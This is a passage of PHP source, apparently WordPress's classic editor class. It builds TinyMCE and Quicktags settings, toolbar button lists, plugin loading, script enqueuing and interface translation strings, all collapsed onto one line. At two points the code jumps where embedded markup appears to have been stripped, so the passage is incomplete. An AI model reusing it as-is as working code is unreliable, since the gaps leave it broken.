    ' ); // Prepare the content for the Visual or Code editor, only when TinyMCE is used (back-compat). if ( self::$this_tinymce ) { add_filter( 'the_editor_content', 'format_for_editor', 10, 2 ); } /** * Filters the default editor content. * * @since 2.1.0 * * @param string $content Default editor content. * @param string $default_editor The default editor for the current user. * Either 'html' or 'tinymce'. */ $content = apply_filters( 'the_editor_content', $content, $default_editor ); // Remove the filter as the next editor on the same page may not need it. if ( self::$this_tinymce ) { remove_filter( 'the_editor_content', 'format_for_editor' ); } // Back-compat for the `htmledit_pre` and `richedit_pre` filters. if ( 'html' === $default_editor && has_filter( 'htmledit_pre' ) ) { /** This filter is documented in wp-includes/deprecated.php */ $content = apply_filters_deprecated( 'htmledit_pre', array( $content ), '4.3.0', 'format_for_editor' ); } elseif ( 'tinymce' === $default_editor && has_filter( 'richedit_pre' ) ) { /** This filter is documented in wp-includes/deprecated.php */ $content = apply_filters_deprecated( 'richedit_pre', array( $content ), '4.3.0', 'format_for_editor' ); } if ( false !== stripos( $content, 'textarea' ) ) { $content = preg_replace( '%\n\n"; self::editor_settings( $editor_id, $set ); } /** * @since 3.3.0 * * @param string $editor_id Unique editor identifier, e.g. 'content'. * @param array $set Array of editor arguments. */ public static function editor_settings( $editor_id, $set ) { if ( empty( self::$first_init ) ) { if ( is_admin() ) { add_action( 'admin_print_footer_scripts', array( __CLASS__, 'editor_js' ), 50 ); add_action( 'admin_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 ); add_action( 'admin_print_footer_scripts', array( __CLASS__, 'enqueue_scripts' ), 1 ); } else { add_action( 'wp_print_footer_scripts', array( __CLASS__, 'editor_js' ), 50 ); add_action( 'wp_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 ); add_action( 'wp_print_footer_scripts', array( __CLASS__, 'enqueue_scripts' ), 1 ); } } if ( self::$this_quicktags ) { $qt_init = array( 'id' => $editor_id, 'buttons' => '', ); if ( is_array( $set['quicktags'] ) ) { $qt_init = array_merge( $qt_init, $set['quicktags'] ); } if ( empty( $qt_init['buttons'] ) ) { $qt_init['buttons'] = 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close'; } if ( $set['_content_editor_dfw'] ) { $qt_init['buttons'] .= ',dfw'; } /** * Filters the Quicktags settings. * * @since 3.3.0 * * @param array $qt_init Quicktags settings. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $qt_init = apply_filters( 'quicktags_settings', $qt_init, $editor_id ); self::$qt_settings[ $editor_id ] = $qt_init; self::$qt_buttons = array_merge( self::$qt_buttons, explode( ',', $qt_init['buttons'] ) ); } if ( self::$this_tinymce ) { if ( empty( self::$first_init ) ) { $baseurl = self::get_baseurl(); $mce_locale = self::get_mce_locale(); $ext_plugins = ''; if ( $set['teeny'] ) { /** * Filters the list of teenyMCE plugins. * * @since 2.7.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $plugins An array of teenyMCE plugins. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $plugins = apply_filters( 'teeny_mce_plugins', array( 'colorpicker', 'lists', 'fullscreen', 'image', 'wordpress', 'wpeditimage', 'wplink', ), $editor_id ); } else { /** * Filters the list of TinyMCE external plugins. * * The filter takes an associative array of external plugins for * TinyMCE in the form 'plugin_name' => 'url'. * * The url should be absolute, and should include the js filename * to be loaded. For example: * 'myplugin' => 'http://mysite.com/wp-content/plugins/myfolder/mce_plugin.js'. * * If the external plugin adds a button, it should be added with * one of the 'mce_buttons' filters. * * @since 2.5.0 * @since 5.3.0 The `$editor_id` parameter was added. * * @param array $external_plugins An array of external TinyMCE plugins. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_external_plugins = apply_filters( 'mce_external_plugins', array(), $editor_id ); $plugins = array( 'charmap', 'colorpicker', 'hr', 'lists', 'media', 'paste', 'tabfocus', 'textcolor', 'fullscreen', 'wordpress', 'wpautoresize', 'wpeditimage', 'wpemoji', 'wpgallery', 'wplink', 'wpdialogs', 'wptextpattern', 'wpview', ); if ( ! self::$has_medialib ) { $plugins[] = 'image'; } /** * Filters the list of default TinyMCE plugins. * * The filter specifies which of the default plugins included * in WordPress should be added to the TinyMCE instance. * * @since 3.3.0 * @since 5.3.0 The `$editor_id` parameter was added. * * @param array $plugins An array of default TinyMCE plugins. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $plugins = array_unique( apply_filters( 'tiny_mce_plugins', $plugins, $editor_id ) ); $key = array_search( 'spellchecker', $plugins, true ); if ( false !== $key ) { /* * Remove 'spellchecker' from the internal plugins if added with 'tiny_mce_plugins' filter to prevent errors. * It can be added with 'mce_external_plugins'. */ unset( $plugins[ $key ] ); } if ( ! empty( $mce_external_plugins ) ) { /** * Filters the translations loaded for external TinyMCE 3.x plugins. * * The filter takes an associative array ('plugin_name' => 'path') * where 'path' is the include path to the file. * * The language file should follow the same format as wp_mce_translation(), * and should define a variable ($strings) that holds all translated strings. * * @since 2.5.0 * @since 5.3.0 The `$editor_id` parameter was added. * * @param array $translations Translations for external TinyMCE plugins. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $mce_external_languages = apply_filters( 'mce_external_languages', array(), $editor_id ); $loaded_langs = array(); $strings = ''; if ( ! empty( $mce_external_languages ) ) { foreach ( $mce_external_languages as $name => $path ) { if ( @is_file( $path ) && @is_readable( $path ) ) { include_once $path; $ext_plugins .= $strings . "\n"; $loaded_langs[] = $name; } } } foreach ( $mce_external_plugins as $name => $url ) { if ( in_array( $name, $plugins, true ) ) { unset( $mce_external_plugins[ $name ] ); continue; } $url = set_url_scheme( $url ); $mce_external_plugins[ $name ] = $url; $plugurl = dirname( $url ); $strings = ''; // Try to load langs/[locale].js and langs/[locale]_dlg.js. if ( ! in_array( $name, $loaded_langs, true ) ) { $path = str_replace( content_url(), '', $plugurl ); $path = realpath( WP_CONTENT_DIR . $path . '/langs/' ); if ( ! $path ) { continue; } $path = trailingslashit( $path ); if ( @is_file( $path . $mce_locale . '.js' ) ) { $strings .= @file_get_contents( $path . $mce_locale . '.js' ) . "\n"; } if ( @is_file( $path . $mce_locale . '_dlg.js' ) ) { $strings .= @file_get_contents( $path . $mce_locale . '_dlg.js' ) . "\n"; } if ( 'en' !== $mce_locale && empty( $strings ) ) { if ( @is_file( $path . 'en.js' ) ) { $str1 = @file_get_contents( $path . 'en.js' ); $strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str1, 1 ) . "\n"; } if ( @is_file( $path . 'en_dlg.js' ) ) { $str2 = @file_get_contents( $path . 'en_dlg.js' ); $strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str2, 1 ) . "\n"; } } if ( ! empty( $strings ) ) { $ext_plugins .= "\n" . $strings . "\n"; } } $ext_plugins .= 'tinyMCEPreInit.load_ext("' . $plugurl . '", "' . $mce_locale . '");' . "\n"; } } } self::$plugins = $plugins; self::$ext_plugins = $ext_plugins; $settings = self::default_settings(); $settings['plugins'] = implode( ',', $plugins ); if ( ! empty( $mce_external_plugins ) ) { $settings['external_plugins'] = wp_json_encode( $mce_external_plugins ); } /** This filter is documented in wp-admin/includes/media.php */ if ( apply_filters( 'disable_captions', '' ) ) { $settings['wpeditimage_disable_captions'] = true; } $mce_css = $settings['content_css']; /* * The `editor-style.css` added by the theme is generally intended for the editor instance on the Edit Post screen. * Plugins that use wp_editor() on the front-end can decide whether to add the theme stylesheet * by using `get_editor_stylesheets()` and the `mce_css` or `tiny_mce_before_init` filters, see below. */ if ( is_admin() ) { $editor_styles = get_editor_stylesheets(); if ( ! empty( $editor_styles ) ) { // Force urlencoding of commas. foreach ( $editor_styles as $key => $url ) { if ( str_contains( $url, ',' ) ) { $editor_styles[ $key ] = str_replace( ',', '%2C', $url ); } } $mce_css .= ',' . implode( ',', $editor_styles ); } } /** * Filters the comma-delimited list of stylesheets to load in TinyMCE. * * @since 2.1.0 * * @param string $stylesheets Comma-delimited list of stylesheets. */ $mce_css = trim( apply_filters( 'mce_css', $mce_css ), ' ,' ); if ( ! empty( $mce_css ) ) { $settings['content_css'] = $mce_css; } else { unset( $settings['content_css'] ); } self::$first_init = $settings; } if ( $set['teeny'] ) { $mce_buttons = array( 'bold', 'italic', 'underline', 'blockquote', 'strikethrough', 'bullist', 'numlist', 'alignleft', 'aligncenter', 'alignright', 'undo', 'redo', 'link', 'fullscreen', ); /** * Filters the list of teenyMCE buttons (Code tab). * * @since 2.7.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons An array of teenyMCE buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $mce_buttons = apply_filters( 'teeny_mce_buttons', $mce_buttons, $editor_id ); $mce_buttons_2 = array(); $mce_buttons_3 = array(); $mce_buttons_4 = array(); } else { $mce_buttons = array( 'formatselect', 'bold', 'italic', 'bullist', 'numlist', 'blockquote', 'alignleft', 'aligncenter', 'alignright', 'link', 'wp_more', 'spellchecker', ); if ( ! wp_is_mobile() ) { if ( $set['_content_editor_dfw'] ) { $mce_buttons[] = 'wp_adv'; $mce_buttons[] = 'dfw'; } else { $mce_buttons[] = 'fullscreen'; $mce_buttons[] = 'wp_adv'; } } else { $mce_buttons[] = 'wp_adv'; } /** * Filters the first-row list of TinyMCE buttons (Visual tab). * * @since 2.0.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons First-row list of buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_buttons = apply_filters( 'mce_buttons', $mce_buttons, $editor_id ); $mce_buttons_2 = array( 'strikethrough', 'hr', 'forecolor', 'pastetext', 'removeformat', 'charmap', 'outdent', 'indent', 'undo', 'redo', ); if ( ! wp_is_mobile() ) { $mce_buttons_2[] = 'wp_help'; } /** * Filters the second-row list of TinyMCE buttons (Visual tab). * * @since 2.0.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons_2 Second-row list of buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_buttons_2 = apply_filters( 'mce_buttons_2', $mce_buttons_2, $editor_id ); /** * Filters the third-row list of TinyMCE buttons (Visual tab). * * @since 2.0.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons_3 Third-row list of buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_buttons_3 = apply_filters( 'mce_buttons_3', array(), $editor_id ); /** * Filters the fourth-row list of TinyMCE buttons (Visual tab). * * @since 2.5.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons_4 Fourth-row list of buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_buttons_4 = apply_filters( 'mce_buttons_4', array(), $editor_id ); } $body_class = $editor_id; $post = get_post(); if ( $post ) { $body_class .= ' post-type-' . sanitize_html_class( $post->post_type ) . ' post-status-' . sanitize_html_class( $post->post_status ); if ( post_type_supports( $post->post_type, 'post-formats' ) ) { $post_format = get_post_format( $post ); if ( $post_format && ! is_wp_error( $post_format ) ) { $body_class .= ' post-format-' . sanitize_html_class( $post_format ); } else { $body_class .= ' post-format-standard'; } } $page_template = get_page_template_slug( $post ); if ( false !== $page_template ) { $page_template = empty( $page_template ) ? 'default' : str_replace( '.', '-', basename( $page_template, '.php' ) ); $body_class .= ' page-template-' . sanitize_html_class( $page_template ); } } $body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) ); if ( ! empty( $set['tinymce']['body_class'] ) ) { $body_class .= ' ' . $set['tinymce']['body_class']; unset( $set['tinymce']['body_class'] ); } $mce_init = array( 'selector' => "#$editor_id", 'wpautop' => (bool) $set['wpautop'], 'indent' => ! $set['wpautop'], 'toolbar1' => implode( ',', $mce_buttons ), 'toolbar2' => implode( ',', $mce_buttons_2 ), 'toolbar3' => implode( ',', $mce_buttons_3 ), 'toolbar4' => implode( ',', $mce_buttons_4 ), 'tabfocus_elements' => $set['tabfocus_elements'], 'body_class' => $body_class, ); // Merge with the first part of the init array. $mce_init = array_merge( self::$first_init, $mce_init ); if ( is_array( $set['tinymce'] ) ) { $mce_init = array_merge( $mce_init, $set['tinymce'] ); } /* * For people who really REALLY know what they're doing with TinyMCE * You can modify $mceInit to add, remove, change elements of the config * before tinyMCE.init. Setting "valid_elements", "invalid_elements" * and "extended_valid_elements" can be done through this filter. Best * is to use the default cleanup by not specifying valid_elements, * as TinyMCE checks against the full set of HTML 5.0 elements and attributes. */ if ( $set['teeny'] ) { /** * Filters the teenyMCE config before init. * * @since 2.7.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_init An array with teenyMCE config. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $mce_init = apply_filters( 'teeny_mce_before_init', $mce_init, $editor_id ); } else { /** * Filters the TinyMCE config before init. * * @since 2.5.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_init An array with TinyMCE config. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_init = apply_filters( 'tiny_mce_before_init', $mce_init, $editor_id ); } if ( empty( $mce_init['toolbar3'] ) && ! empty( $mce_init['toolbar4'] ) ) { $mce_init['toolbar3'] = $mce_init['toolbar4']; $mce_init['toolbar4'] = ''; } self::$mce_settings[ $editor_id ] = $mce_init; } // End if self::$this_tinymce. } /** * @since 3.3.0 * * @param array $init * @return string */ private static function _parse_init( $init ) { $options = ''; foreach ( $init as $key => $value ) { if ( is_bool( $value ) ) { $val = $value ? 'true' : 'false'; $options .= $key . ':' . $val . ','; continue; } elseif ( ! empty( $value ) && is_string( $value ) && ( ( '{' === $value[0] && '}' === $value[ strlen( $value ) - 1 ] ) || ( '[' === $value[0] && ']' === $value[ strlen( $value ) - 1 ] ) || preg_match( '/^\(?function ?\(/', $value ) ) ) { $options .= $key . ':' . $value . ','; continue; } $options .= $key . ':"' . $value . '",'; } return '{' . trim( $options, ' ,' ) . '}'; } /** * @since 3.3.0 * * @param bool $default_scripts Optional. Whether default scripts should be enqueued. Default false. */ public static function enqueue_scripts( $default_scripts = false ) { if ( $default_scripts || self::$has_tinymce ) { wp_enqueue_script( 'editor' ); } if ( $default_scripts || self::$has_quicktags ) { wp_enqueue_script( 'quicktags' ); wp_enqueue_style( 'buttons' ); } if ( $default_scripts || in_array( 'wplink', self::$plugins, true ) || in_array( 'link', self::$qt_buttons, true ) ) { wp_enqueue_script( 'wplink' ); wp_enqueue_script( 'jquery-ui-autocomplete' ); } if ( self::$has_medialib ) { add_thickbox(); wp_enqueue_script( 'media-upload' ); wp_enqueue_script( 'wp-embed' ); } elseif ( $default_scripts ) { wp_enqueue_script( 'media-upload' ); } /** * Fires when scripts and styles are enqueued for the editor. * * @since 3.9.0 * * @param array $to_load An array containing boolean values whether TinyMCE * and Quicktags are being loaded. */ do_action( 'wp_enqueue_editor', array( 'tinymce' => ( $default_scripts || self::$has_tinymce ), 'quicktags' => ( $default_scripts || self::$has_quicktags ), ) ); } /** * Enqueue all editor scripts. * For use when the editor is going to be initialized after page load. * * @since 4.8.0 */ public static function enqueue_default_editor() { // We are past the point where scripts can be enqueued properly. if ( did_action( 'wp_enqueue_editor' ) ) { return; } self::enqueue_scripts( true ); // Also add wp-includes/css/editor.css. wp_enqueue_style( 'editor-buttons' ); if ( is_admin() ) { add_action( 'admin_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 ); add_action( 'admin_print_footer_scripts', array( __CLASS__, 'print_default_editor_scripts' ), 45 ); } else { add_action( 'wp_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 ); add_action( 'wp_print_footer_scripts', array( __CLASS__, 'print_default_editor_scripts' ), 45 ); } } /** * Print (output) all editor scripts and default settings. * For use when the editor is going to be initialized after page load. * * @since 4.8.0 */ public static function print_default_editor_scripts() { $user_can_richedit = user_can_richedit(); if ( $user_can_richedit ) { $settings = self::default_settings(); $settings['toolbar1'] = 'bold,italic,bullist,numlist,link'; $settings['wpautop'] = false; $settings['indent'] = true; $settings['elementpath'] = false; if ( is_rtl() ) { $settings['directionality'] = 'rtl'; } /* * In production all plugins are loaded (they are in wp-editor.js.gz). * The 'wpview', 'wpdialogs', and 'media' TinyMCE plugins are not initialized by default. * Can be added from js by using the 'wp-before-tinymce-init' event. */ $settings['plugins'] = implode( ',', array( 'charmap', 'colorpicker', 'hr', 'lists', 'paste', 'tabfocus', 'textcolor', 'fullscreen', 'wordpress', 'wpautoresize', 'wpeditimage', 'wpemoji', 'wpgallery', 'wplink', 'wptextpattern', ) ); $settings = self::_parse_init( $settings ); } else { $settings = '{}'; } ?> $value ) { if ( is_array( $value ) ) { $shortcut_labels[ $name ] = $value[1]; } } $settings = array( 'theme' => 'modern', 'skin' => 'lightgray', 'language' => self::get_mce_locale(), 'formats' => '{' . 'alignleft: [' . '{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"left"}},' . '{selector: "img,table,dl.wp-caption", classes: "alignleft"}' . '],' . 'aligncenter: [' . '{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"center"}},' . '{selector: "img,table,dl.wp-caption", classes: "aligncenter"}' . '],' . 'alignright: [' . '{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"right"}},' . '{selector: "img,table,dl.wp-caption", classes: "alignright"}' . '],' . 'strikethrough: {inline: "del"}' . '}', 'relative_urls' => false, 'remove_script_host' => false, 'convert_urls' => false, 'browser_spellcheck' => true, 'fix_list_elements' => true, 'entities' => '38,amp,60,lt,62,gt', 'entity_encoding' => 'raw', 'keep_styles' => false, 'cache_suffix' => 'wp-mce-' . $tinymce_version, 'resize' => 'vertical', 'menubar' => false, 'branding' => false, // Limit the preview styles in the menu/toolbar. 'preview_styles' => 'font-family font-size font-weight font-style text-decoration text-transform', 'end_container_on_empty_block' => true, 'wpeditimage_html5_captions' => true, 'wp_lang_attr' => get_bloginfo( 'language' ), 'wp_shortcut_labels' => wp_json_encode( $shortcut_labels ), ); $suffix = SCRIPT_DEBUG ? '' : '.min'; $version = 'ver=' . get_bloginfo( 'version' ); // Default stylesheets. $settings['content_css'] = includes_url( "css/dashicons$suffix.css?$version" ) . ',' . includes_url( "js/tinymce/skins/wordpress/wp-content.css?$version" ); return $settings; } /** * @since 4.7.0 * * @return array */ private static function get_translation() { if ( empty( self::$translation ) ) { self::$translation = array( // Default TinyMCE strings. 'New document' => __( 'New document' ), 'Formats' => _x( 'Formats', 'TinyMCE' ), 'Headings' => _x( 'Headings', 'TinyMCE' ), 'Heading 1' => array( __( 'Heading 1' ), 'access1' ), 'Heading 2' => array( __( 'Heading 2' ), 'access2' ), 'Heading 3' => array( __( 'Heading 3' ), 'access3' ), 'Heading 4' => array( __( 'Heading 4' ), 'access4' ), 'Heading 5' => array( __( 'Heading 5' ), 'access5' ), 'Heading 6' => array( __( 'Heading 6' ), 'access6' ), /* translators: Block tags. */ 'Blocks' => _x( 'Blocks', 'TinyMCE' ), 'Paragraph' => array( __( 'Paragraph' ), 'access7' ), 'Blockquote' => array( __( 'Blockquote' ), 'accessQ' ), 'Div' => _x( 'Div', 'HTML tag' ), 'Pre' => _x( 'Pre', 'HTML tag' ), 'Preformatted' => _x( 'Preformatted', 'HTML tag' ), 'Address' => _x( 'Address', 'HTML tag' ), 'Inline' => _x( 'Inline', 'HTML elements' ), 'Underline' => array( __( 'Underline' ), 'metaU' ), 'Strikethrough' => array( __( 'Strikethrough' ), 'accessD' ), 'Subscript' => __( 'Subscript' ), 'Superscript' => __( 'Superscript' ), 'Clear formatting' => __( 'Clear formatting' ), 'Bold' => array( __( 'Bold' ), 'metaB' ), 'Italic' => array( __( 'Italic' ), 'metaI' ), 'Code' => array( __( 'Code' ), 'accessX' ), 'Source code' => __( 'Source code' ), 'Font Family' => __( 'Font Family' ), 'Font Sizes' => __( 'Font Sizes' ), 'Align center' => array( __( 'Align center' ), 'accessC' ), 'Align right' => array( __( 'Align right' ), 'accessR' ), 'Align left' => array( __( 'Align left' ), 'accessL' ), 'Justify' => array( __( 'Justify' ), 'accessJ' ), 'Increase indent' => __( 'Increase indent' ), 'Decrease indent' => __( 'Decrease indent' ), 'Cut' => array( __( 'Cut' ), 'metaX' ), 'Copy' => array( __( 'Copy' ), 'metaC' ), 'Paste' => array( __( 'Paste' ), 'metaV' ), 'Select all' => array( __( 'Select all' ), 'metaA' ), 'Undo' => array( __( 'Undo' ), 'metaZ' ), 'Redo' => array( __( 'Redo' ), 'metaY' ), 'Ok' => __( 'OK' ), 'Cancel' => __( 'Cancel' ), 'Close' => __( 'Close' ), 'Visual aids' => __( 'Visual aids' ), 'Bullet list' => array( __( 'Bulleted list' ), 'accessU' ), 'Numbered list' => array( __( 'Numbered list' ), 'accessO' ), 'Square' => _x( 'Square', 'list style' ), 'Default' => _x( 'Default', 'list style' ), 'Circle' => _x( 'Circle', 'list style' ), 'Disc' => _x( 'Disc', 'list style' ), 'Lower Greek' => _x( 'Lower Greek', 'list style' ), 'Lower Alpha' => _x( 'Lower Alpha', 'list style' ), 'Upper Alpha' => _x( 'Upper Alpha', 'list style' ), 'Upper Roman' => _x( 'Upper Roman', 'list style' ), 'Lower Roman' => _x( 'Lower Roman', 'list style' ), // Anchor plugin. 'Name' => _x( 'Name', 'Name of link anchor (TinyMCE)' ), 'Anchor' => _x( 'Anchor', 'Link anchor (TinyMCE)' ), 'Anchors' => _x( 'Anchors', 'Link anchors (TinyMCE)' ), 'Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.' => __( 'Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.' ), 'Id' => _x( 'Id', 'Id for link anchor (TinyMCE)' ), // Fullpage plugin. 'Document properties' => __( 'Document properties' ), 'Robots' => __( 'Robots' ), 'Title' => __( 'Title' ), 'Keywords' => __( 'Keywords' ), 'Encoding' => __( 'Encoding' ), 'Description' => __( 'Description' ), 'Author' => __( 'Author' ), // Media, image plugins. 'Image' => __( 'Image' ), 'Insert/edit image' => array( __( 'Insert/edit image' ), 'accessM' ), 'General' => __( 'General' ), 'Advanced' => __( 'Advanced' ), 'Source' => __( 'Source' ), 'Border' => __( 'Border' ), 'Constrain proportions' => __( 'Constrain proportions' ), 'Vertical space' => __( 'Vertical space' ), 'Image description' => __( 'Image description' ), 'Style' => __( 'Style' ), 'Dimensions' => __( 'Dimensions' ), 'Insert image' => __( 'Insert image' ), 'Date/time' => __( 'Date/time' ), 'Insert date/time' => __( 'Insert date/time' ), 'Table of Contents' => __( 'Table of Contents' ), 'Insert/Edit code sample' => __( 'Insert/edit code sample' ), 'Language' => __( 'Language' ), 'Media' => __( 'Media' ), 'Insert/edit media' => __( 'Insert/edit media' ), 'Poster' => __( 'Poster' ), 'Alternative source' => __( 'Alternative source' ), 'Paste your embed code below:' => __( 'Paste your embed code below:' ), 'Insert video' => __( 'Insert video' ), 'Embed' => __( 'Embed' ), // Each of these have a corresponding plugin. 'Special character' => __( 'Special character' ), 'Right to left' => _x( 'Right to left', 'editor button' ), 'Left to right' => _x( 'Left to right', 'editor button' ), 'Emoticons' => __( 'Emoticons' ), 'Nonbreaking space' => __( 'Nonbreaking space' ), 'Page break' => __( 'Page break' ), 'Paste as text' => __( 'Paste as text' ), 'Preview' => __( 'Preview' ), 'Print' => __( 'Print' ), 'Save' => __( 'Save' ), 'Fullscreen' => __( 'Fullscreen' ), 'Horizontal line' => __( 'Horizontal line' ), 'Horizontal space' => __( 'Horizontal space' ), 'Restore last draft' => __( 'Restore last draft' ), 'Insert/edit link' => array( __( 'Insert/edit link' ), 'metaK' ), 'Remove link' => array( __( 'Remove link' ), 'accessS' ), // Link plugin. 'Link' => __( 'Link' ), 'Insert link' => __( 'Insert link' ), 'Target' => __( 'Target' ), 'New window' => __( 'New window' ), 'Text to display' => __( 'Text to display' ), 'Url' => __( 'URL' ), 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?' => __( 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?' ), 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?' => __( 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?' ), 'Color' => __( 'Color' ), 'Custom color' => __( 'Custom color' ), 'Custom...' => _x( 'Custom...', 'label for custom color' ), // No ellipsis. 'No color' => __( 'No color' ), 'R' => _x( 'R', 'Short for red in RGB' ), 'G' => _x( 'G', 'Short for green in RGB' ), 'B' => _x( 'B', 'Short for blue in RGB' ), // Spelling, search/replace plugins. 'Could not find the specified string.' => __( 'Could not find the specified string.' ), 'Replace' => _x( 'Replace', 'find/replace' ), 'Next' => _x( 'Next', 'find/replace' ), /* translators: Previous. */ 'Prev' => _x( 'Prev', 'find/replace' ), 'Whole words' => _x( 'Whole words', 'find/replace' ), 'Find and replace' => __( 'Find and replace' ), 'Replace with' => _x( 'Replace with', 'find/replace' ), 'Find' => _x( 'Find', 'find/replace' ), 'Replace all' => _x( 'Replace all', 'find/replace' ), 'Match case' => __( 'Match case' ), 'Spellcheck' => __( 'Check Spelling' ), 'Finish' => _x( 'Finish', 'spellcheck' ), 'Ignore all' => _x( 'Ignore all', 'spellcheck' ), 'Ignore' => _x( 'Ignore', 'spellcheck' ), 'Add to Dictionary' => __( 'Add to Dictionary' ), // TinyMCE tables. 'Insert table' => __( 'Insert table' ), 'Delete table' => __( 'Delete table' ), 'Table properties' => __( 'Table properties' ), 'Row properties' => __( 'Table row properties' ), 'Cell properties' => __( 'Table cell properties' ), 'Border color' => __( 'Border color' ), 'Row' => __( 'Row' ), 'Rows' => __( 'Rows' ), 'Column' => __( 'Column' ), 'Cols' => __( 'Columns' ), 'Cell' => _x( 'Cell', 'table cell' ), 'Header cell' => __( 'Header cell' ), 'Header' => _x( 'Header', 'table header' ), 'Body' => _x( 'Body', 'table body' ), 'Footer' => _x( 'Footer', 'table footer' ), 'Insert row before' => __( 'Insert row before' ), 'Insert row after' => __( 'Insert row after' ), 'Insert column before' => __( 'Insert column before' ), 'Insert column after' => __( 'Insert column after' ), 'Paste row before' => __( 'Paste table row before' ), 'Paste row after' => __( 'Paste table row after' ), 'Delete row' => __( 'Delete row' ), 'Delete column' => __( 'Delete column' ), 'Cut row' => __( 'Cut table row' ), 'Copy row' => __( 'Copy table row' ), 'Merge cells' => __( 'Merge table cells' ), 'Split cell' => __( 'Split table cell' ), 'Height' => __( 'Height' ), 'Width' => __( 'Width' ), 'Caption' => __( 'Caption' ), 'Alignment' => __( 'Alignment' ), 'H Align' => _x( 'H Align', 'horizontal table cell alignment' ), 'Left' => __( 'Left' ), 'Center' => __( 'Center' ), 'Right' => __( 'Right' ), 'None' => _x( 'None', 'table cell alignment attribute' ), 'V Align' => _x( 'V Align', 'vertical table cell alignment' ), 'Top' => __( 'Top' ), 'Middle' => __( 'Middle' ), 'Bottom' => __( 'Bottom' ), 'Row group' => __( 'Row group' ), 'Column group' => __( 'Column group' ), 'Row type' => __( 'Row type' ), 'Cell type' => __( 'Cell type' ), 'Cell padding' => __( 'Cell padding' ), 'Cell spacing' => __( 'Cell spacing' ), 'Scope' => _x( 'Scope', 'table cell scope attribute' ), 'Insert template' => _x( 'Insert template', 'TinyMCE' ), 'Templates' => _x( 'Templates', 'TinyMCE' ), 'Background color' => __( 'Background color' ), 'Text color' => __( 'Text color' ), 'Show blocks' => _x( 'Show blocks', 'editor button' ), 'Show invisible characters' => __( 'Show invisible characters' ), /* translators: Word count. */ 'Words: {0}' => sprintf( __( 'Words: %s' ), '{0}' ), 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.' => __( 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.' ) . "\n\n" . __( 'If you are looking to paste rich content from Microsoft Word, try turning this option off. The editor will clean up text pasted from Word automatically.' ), 'Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help' => __( 'Rich Text Area. Press Alt-Shift-H for help.' ), 'Rich Text Area. Press Control-Option-H for help.' => __( 'Rich Text Area. Press Control-Option-H for help.' ), 'You have unsaved changes are you sure you want to navigate away?' => __( 'The changes you made will be lost if you navigate away from this page.' ), 'Your browser doesn\'t support direct access to the clipboard. Please use the Ctrl+X/C/V keyboard shortcuts instead.' => __( 'Your browser does not support direct access to the clipboard. Please use keyboard shortcuts or your browser’s edit menu instead.' ), // TinyMCE menus. 'Insert' => _x( 'Insert', 'TinyMCE menu' ), 'File' => _x( 'File', 'TinyMCE menu' ), 'Edit' => _x( 'Edit', 'TinyMCE menu' ), 'Tools' => _x( 'Tools', 'TinyMCE menu' ), 'View' => _x( 'View', 'TinyMCE menu' ), 'Table' => _x( 'Table', 'TinyMCE menu' ), 'Format' => _x( 'Format', 'TinyMCE menu' ), // WordPress strings. 'Toolbar Toggle' => array( __( 'Toolbar Toggle' ), 'accessZ' ), 'Insert Read More tag' => array( __( 'Insert Read More tag' ), 'accessT' ), 'Insert Page Break tag' => array( __( 'Insert Page Break tag' ), 'accessP' ), 'Read more...' => __( 'Read more...' ), // Title on the placeholder inside the editor (no ellipsis). 'Distraction-free writing mode' => array( __( 'Distraction-free writing mode' ), 'accessW' ), 'No alignment' => __( 'No alignment' ), // Tooltip for the 'alignnone' button in the image toolbar. 'Remove' => __( 'Remove' ), // Tooltip for the 'remove' button in the image toolbar. 'Edit|button' => __( 'Edit' ), // Tooltip for the 'edit' button in the image toolbar. 'Paste 